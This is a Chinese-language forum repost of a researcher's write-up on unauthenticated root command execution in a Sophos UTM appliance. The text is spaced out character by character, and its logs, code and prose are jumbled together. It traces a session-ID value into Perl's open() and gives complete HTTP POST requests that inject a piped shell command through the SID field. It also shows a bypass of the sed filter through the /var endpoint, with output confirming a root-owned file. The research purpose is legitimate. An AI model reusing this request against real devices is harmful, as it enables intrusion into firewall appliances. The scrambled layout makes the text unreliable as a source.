m e = " w r i t e _ s i g u s r 1 "   u s e r = " s y s t e m "   s r c i p = " 0 . 0 . 0 . 0 "   f a c i l i t y = " s y s t e m "   c l i e n t = " u n k n o w n "   c a l l = " n e w "   m o d e = " a d d "   p i d s = " 3 2 7 5 3 " 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :   D   A s t a r o : : R P C : : r e s p o n s e : 2 8 7 ( )   = >   p r p c   r e s p o n s e :   $ V A R 1   =   b l e s s (   { } ,   ' A s t a r o : : R P C '   ) ; 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :   D   A s t a r o : : R P C : : g e t _ r e q u e s t : 3 2 1 ( )   = >   g e t _ r e q u e s t ( )   s t a r t 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :   > = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
/ v a r / l o g / c o n f d - d e b u g . l o g 该 c o n f d 服 务 返 回 响 应 h t t p d 服 务 ， 在 S I D 不 存 在 的 ， 我 们 可 以 看 到 发 生 在 该 错 误 / v a r / l o g / w e b a d m i n . l o g 日 志 文 件 ： / v a r / l o g / w e b a d m i n . l o g 让 我 们 看 看 S I D 我 们 在   H T T P   P O S T   请 求 中 提 供 的 值 到 底 发 生 了 什 么 。 建 立 连 接 后 c o n f d ， c o n f d 尝 试 S I D 从 (   ) c o n f d 处 的 会 话 目 录 中 读 取 存 储 的 内 容 ： $ c o n f i g : : s e s s i o n _ d i r / v a r / c o n f d / v a r / s e s s i o n s S e s s i o n . p m : 1 8 9 在 这 种 情 况 下 ， r e a d _ s t o r a g e 子 例 程 采 用   a 并 将 其 传 递 给 子 例 程 ： $ f i l e S I D S t o r a b l e : : l o c k _ r e t r i e v e A s t a r o / f i l e . p m : 3 5 0 - 3 6 1 该 l o c k _ r e t r i e v e 子 程 序 调 用 的 _ r e t r i e v e 子 程 序 ： a u t o / S t o r a b l e / l o c k _ r e t r i e v e . a l : 1 2 - 1 4 然 后 _ r e t r i e v e 子 程 序 调 用 o p e n ( ) 文 件 ： a u t o / S t o r a b l e / _ r e t r i e v e . a l : 8 - 1 1 在   P e r l   中 ， o p e n ( ) 当 用 户 提 供 的 数 据 作 为 第 二 个 参 数 传 递 时 ， 这 可 能 是 一 个 危 险 的 函 数 。 您 可 以 在 此 处 的 P e r l   官 方 文 档 中 了 解 更 多 相 关 信 息 ， 但 这 个 快 速 示 例 演 示 了 危 险 ： 测 试 文 件 对 于   U T M   设 备 ， 用 户 提 供 的 S I D 值 将 传 递 给   的 第 二 个 参 数 o p e n ( ) 。 这 似 乎 很 容 易 被 利 用 ， 对 吧 ？ 让 我 们 试 一 试 。 我 们 将 尝 试 运 行 命 令 t o u c h   / t m p / p w n e d ： 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :   > = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :   D   A s t a r o : : R P C : : g e t _ r e q u e s t : 4 6 1 ( )   = >   g o t   r e q u e s t :   $ V A R 1   =   { 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                       ' p a r a m s '   = >   [ 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                                                   b l e s s (   { } ,   ' A s t a r o : : R P C '   ) , 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                                                   ' g e t _ S I D ' 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                                               ] , 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                       ' i d '   = >   ' u n s u p p o r t e d ' , 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                       ' m e t h o d '   = >   ' C a l l M e t h o d ' , 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                       ' p a t h '   = >   ' / w e b a d m i n / n o n p r o x y ' 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                   } ; 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   w e b a d m i n [ 3 2 5 0 9 ] :   | = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   w e b a d m i n [ 3 2 5 0 9 ] :   W   N o   b a c k e n d   f o r   S I D   =   A T R E D I S . . . 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   w e b a d m i n [ 3 2 5 0 9 ] : 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   w e b a d m i n [ 3 2 5 0 9 ] :     1 .   m a i n : : t o p - l e v e l : 2 2 1 ( )   a s g . p l x m y   $ n e w   =   r e a d _ s t o r a g e ( " $ c o n f i g : : s e s s i o n _ d i r / $ s e s s i o n - > { S I D } " ) ; #   r e a d   f r o m   P e r l   S t o r a b l e   f i l e s u b   r e a d _ s t o r a g e   { m y   $ f i l e   =   s h i f t ; m y   $ h r e f ; r e q u i r e   S t o r a b l e ; e v a l   {   l o c a l   $ S I G { ' _ _ D I E _ _ ' } ;   $ h r e f   =   S t o r a b l e : : l o c k _ r e t r i e v e ( $ f i l e ) ;   } ; r e t u r n   i f   $ @ ; r e t u r n   u n l e s s   r e f   $ h r e f   e q   ' H A S H ' ; r e t u r n   $ h r e f ; } s u b   l o c k _ r e t r i e v e   {         _ r e t r i e v e ( $ _ [ 0 ] ,   1 ) ; } s u b   _ r e t r i e v e   { m y   ( $ f i l e ,   $ u s e _ l o c k i n g )   =   @ _ ; l o c a l   * F I L E ; o p e n ( F I L E ,   $ f i l e )   | |   l o g c r o a k   " c a n ' t   o p e n   $ f i l e :   $ ! " ; # ! / u s r / b i n / p e r l m y   $ a   =   " | i d " ; l o c a l   * F I L E ; o p e n ( F I L E ,   $ a ) ; $   p e r l   t e s t . p l u i d = 1 0 0 0 ( j u s t i n )   g i d = 1 0 0 0 ( j u s t i n )   g r o u p s = 1 0 0 0 ( j u s t i n ) P O S T   / w e b a d m i n . p l x   H T T P / 1 . 1
现 在 让 我 们 检 查 我 们 的 文 件 ！ 嗯 。 没 有 文 件 被 写 入 / t m p / 目 录 。 当 我 达 到 这 一 点 时 ， 我 很 沮 丧 ， 让 我 告 诉 你 。 让 我 们 查 看 日 志 ， 看 看 我 们 是 否 可 以 弄 清 楚 发 生 了 什 么 。 / v a r / l o g / c o n f d - d e b u g . l o g / v a r / l o g / w e b a d m i n . l o g 嗯 . . . S I D 日 志 中 的 是 0 o u c h   / t m p / p w n e d ， 那 不 是 我 们 发 送 的 . . . 再 说 差 异 ！ 再 说 差 异 ！ 在 这 一 点 上 ， 我 确 切 地 知 道 问 题 是 什 么 。 还 记 得 在 这 篇 文 章 的 开 头 我 说 过 我 喜 欢 比 较 源 代 码 和 配 置 文 件 吗 ？ 满 足 版 本 之 间 的 其 他 差 异 ： 查 看   中 的 h t t p d - w e b a d m i n . c o n f 配 置 文 件 / v a r / c h r o o t - h t t p d / e t c / h t t p d / v h o s t 向 我 们 展 示 了 这 个 几 乎 显 示 停 止 器 ： / v a r / c h r o o t - h t t p d / e t c / h t t p d / v h o s t / h t t p d - w e b a d m i n . c o n f : 6 4 - 6 7 任 何 传 入 的   H T T P   请 求 w e b a d m i n . p l x 都 由 I n p u t S e d 它 处 理 ， 它 匹 配 我 们 的 " S I D " : " | J S O N   正 文 并 将 其 替 换 为 " S I D " : " 0 .   这 可 以 在   r e g e x 1 0 1 . c o m   上 直 观 地 看 到 ： H o s t :   1 9 2 . 1 6 8 . 5 0 . 1 7 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( X 1 1 ;   U b u n t u ;   L i n u x   x 8 6 _ 6 4 ;   r v : 9 1 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 9 1 . 0 A c c e p t :   t e x t / j a v a s c r i p t ,   t e x t / h t m l ,   a p p l i c a t i o n / x m l ,   t e x t / x m l ,   * / * A c c e p t - L a n g u a g e :   e n - U S , e n ; q = 0 . 5 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e X - R e q u e s t e d - W i t h :   X M L H t t p R e q u e s t X - P r o t o t y p e - V e r s i o n :   1 . 5 . 1 . 1 C o n t e n t - t y p e :   a p p l i c a t i o n / j s o n ;   c h a r s e t = U T F - 8 C o n t e n t - L e n g t h :   2 2 7 O r i g i n :   h t t p s : / / 1 9 2 . 1 6 8 . 5 0 . 1 7 C o n n e c t i o n :   c l o s e R e f e r e r :   h t t p s : / / 1 9 2 . 1 6 8 . 5 0 . 1 7 / S e c - F e t c h - D e s t :   e m p t y S e c - F e t c h - M o d e :   c o r s S e c - F e t c h - S i t e :   s a m e - o r i g i n { " o b j s " :   [ { " F I D " :   " i n i t " } ] ,   " S I D " :   " | t o u c h   / t m p / p w n e d | " ,   " b r o w s e r " :   " g e c k o _ l i n u x " ,   " b a c k e n d _ v e r s i o n " :   - 1 ,   " l o c " :   " " ,   " _ c o o k i e " :   n u l l ,   " w d e b u g " :   0 ,   " R I D " :   " 1 6 2 9 2 1 0 6 7 5 6 3 9 _ 0 . 5 0 0 0 8 5 5 1 1 7 4 8 8 2 0 2 " ,   " c u r r e n t _ u u i d " :   " " ,   " i p v 6 " :   t r u e } #   l s   - l   / t m p / p w n e d l s :   c a n n o t   a c c e s s   / t m p / p w n e d :   N o   s u c h   f i l e   o r   d i r e c t o r y 2 0 2 1 : 0 8 : 1 7 - 1 6 : 4 5 : 3 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 5 3 7 5 ] :   | = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = 2 0 2 1 : 0 8 : 1 7 - 1 6 : 4 5 : 3 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 5 3 7 5 ] :   D   A s t a r o : : R P C : : s e r v e r _ l o o p : 1 7 8 ( )   = >   m e t h o d :   n e w   p a r a m s :   $ V A R 1   =   [ 2 0 2 1 : 0 8 : 1 7 - 1 6 : 4 5 : 3 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 5 3 7 5 ] :                       { 2 0 2 1 : 0 8 : 1 7 - 1 6 : 4 5 : 3 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 5 3 7 5 ] :                           ' S I D '   = >   ' 0 o u c h   / t m p / p w n e d ' , 2 0 2 1 : 0 8 : 1 7 - 1 6 : 4 5 : 3 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 5 3 7 5 ] :                           ' a s g _ i p '   = >   ' 1 9 2 . 1 6 8 . 5 0 . 1 7 ' , 2 0 2 1 : 0 8 : 1 7 - 1 6 : 4 5 : 3 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 5 3 7 5 ] :                           ' i p '   = >   ' 1 9 2 . 1 6 8 . 5 0 . 1 7 8 ' 2 0 2 1 : 0 8 : 1 7 - 1 6 : 4 5 : 3 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 5 3 7 5 ] :                       } 2 0 2 1 : 0 8 : 1 7 - 1 6 : 4 5 : 3 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 5 3 7 5 ] :                   ] ; 2 0 2 1 : 0 8 : 1 7 - 1 6 : 4 5 : 3 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 5 3 7 5 ] :   < = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = 2 0 2 1 : 0 8 : 1 7 - 1 6 : 4 5 : 3 0   s o p h o s 9 - 5 1 0 - 5 - 1   w e b a d m i n [ 5 2 7 2 ] :   | = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = 2 0 2 1 : 0 8 : 1 7 - 1 6 : 4 5 : 3 0   s o p h o s 9 - 5 1 0 - 5 - 1   w e b a d m i n [ 5 2 7 2 ] :   W   N o   b a c k e n d   f o r   S I D   =   0 o u c h   / t m p . . . 2 0 2 1 : 0 8 : 1 7 - 1 6 : 4 5 : 3 0   s o p h o s 9 - 5 1 0 - 5 - 1   w e b a d m i n [ 5 2 7 2 ] : 2 0 2 1 : 0 8 : 1 7 - 1 6 : 4 5 : 3 0   s o p h o s 9 - 5 1 0 - 5 - 1   w e b a d m i n [ 5 2 7 2 ] :     1 .   m a i n : : t o p - l e v e l : 2 2 1 ( )   a s g . p l x < L o c a t i o n M a t c h   w e b a d m i n . p l x >                 A d d I n p u t F i l t e r   s e d   p l x                 I n p u t S e d   " s / " S I D " [   t ] * : [   t ] * " [ ^ " ] * | [   t ] * / " S I D " : " 0 / g "         < / L o c a t i o n M a t c h >
在 花 了 一 些 时 间 尝 试 绕 过 正 则 表 达 式 并 尝 试 不 同 的 有 效 负 载 之 后 ， 我 有 了 一 个 想 法 . . . . . . 这 个 输 入 过 滤 器 只 在 位 置 匹 配 时 触 发 w e b a d m i n . p l x 。 然 后 我 看 到 了 它 ， 它 很 漂 亮 ： / v a r / c h r o o t - h t t p d / e t c / h t t p d / v h o s t / h t t p d - w e b a d m i n . c o n f : 1 2 向 / v a r 端 点 发 出   H T T P   请 求 与 向 端 点 发 出 请 求 相 同 / w e b a d m i n . p l x ， 但 没 有 过 滤 器 。 再 次 发 出 请 求 ， 但 发 送 到 新 端 点 ： 这 是 我 们 的 文 件 ： 我 们 现 在 以   r o o t   用 户 身 份 在   S o p h o s   U T M   设 备 上 拥 有 未 经 身 份 验 证 的   R C E 。 至 此 ， 我 们 的 冒 险 暂 时 告 一 段 落 。 我 希 望 你 喜 欢 这 篇 文 章 : 阅 读 原 文 R e w r i t e R u l e   ^ / v a r   / w e b a d m i n . p l x P O S T   / v a r   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 5 0 . 1 7 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( X 1 1 ;   U b u n t u ;   L i n u x   x 8 6 _ 6 4 ;   r v : 9 1 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 9 1 . 0 A c c e p t :   t e x t / j a v a s c r i p t ,   t e x t / h t m l ,   a p p l i c a t i o n / x m l ,   t e x t / x m l ,   * / * A c c e p t - L a n g u a g e :   e n - U S , e n ; q = 0 . 5 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e X - R e q u e s t e d - W i t h :   X M L H t t p R e q u e s t X - P r o t o t y p e - V e r s i o n :   1 . 5 . 1 . 1 C o n t e n t - t y p e :   a p p l i c a t i o n / j s o n ;   c h a r s e t = U T F - 8 C o n t e n t - L e n g t h :   2 2 7 O r i g i n :   h t t p s : / / 1 9 2 . 1 6 8 . 5 0 . 1 7 C o n n e c t i o n :   c l o s e R e f e r e r :   h t t p s : / / 1 9 2 . 1 6 8 . 5 0 . 1 7 / S e c - F e t c h - D e s t :   e m p t y S e c - F e t c h - M o d e :   c o r s S e c - F e t c h - S i t e :   s a m e - o r i g i n { " o b j s " :   [ { " F I D " :   " i n i t " } ] ,   " S I D " :   " | t o u c h   / t m p / p w n e d | " ,   " b r o w s e r " :   " g e c k o _ l i n u x " ,   " b a c k e n d _ v e r s i o n " :   - 1 ,   " l o c " :   " " ,   " _ c o o k i e " :   n u l l ,   " w d e b u g " :   0 ,   " R I D " :   " 1 6 2 9 2 1 0 6 7 5 6 3 9 _ 0 . 5 0 0 0 8 5 5 1 1 7 4 8 8 2 0 2 " ,   " c u r r e n t _ u u i d " :   " " ,   " i p v 6 " :   t r u e } #   l s   - l   / t m p / p w n e d - r w - r - - r - -   1   r o o t   r o o t   0   A u g   1 7   1 7 : 0 7   / t m p / p w n e d
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理